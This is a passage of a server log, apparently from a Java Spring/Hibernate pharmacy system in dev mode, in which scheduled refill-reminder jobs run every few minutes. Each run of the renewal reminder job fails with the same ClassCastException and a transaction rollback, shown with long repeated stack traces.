- SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:50:15 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 22:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 22:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 22:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 22:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 22:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 22:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 22:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 22:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 22:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at 